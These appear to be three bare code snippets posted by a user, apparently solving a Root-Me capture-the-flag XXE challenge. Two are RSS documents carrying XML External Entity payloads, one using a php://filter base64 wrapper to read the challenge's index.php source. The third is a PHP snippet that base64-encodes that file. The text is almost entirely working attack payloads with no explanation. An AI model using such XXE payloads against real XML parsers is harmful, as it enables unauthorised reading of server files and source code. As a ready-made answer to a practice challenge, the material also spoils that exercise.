ziedbelghith

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE rss [
    <!ENTITY xxe SYSTEM "ls" >
]>
<rss version="1.0" xmlns:atom="http://www.w3.org/2005/Atom">
    <channel>
        <title>The Blog</title>
        <link>http://example.com/</link>
        <description>A blog about things</description>
        <lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate>

ziedbelghith

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE rss [
    <!ELEMENT title ANY>
    <!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=http://challenge01.root-me.org/web-serveur/ch29/index.php" >
]>
<rss version="1.0" xmlns:atom="http://www.w3.org/2005/Atom">
    <channel>
        <title>The Blog</title>
        <link>http://example.com/</link>
        <description>A blog about things</description>

ziedbelghith

<?php
base64_encode(fread(fopen('./index.php', 'r'), "544"));
echo base64_encode(fread(fopen('./index.php', 'r'), "544"));
?>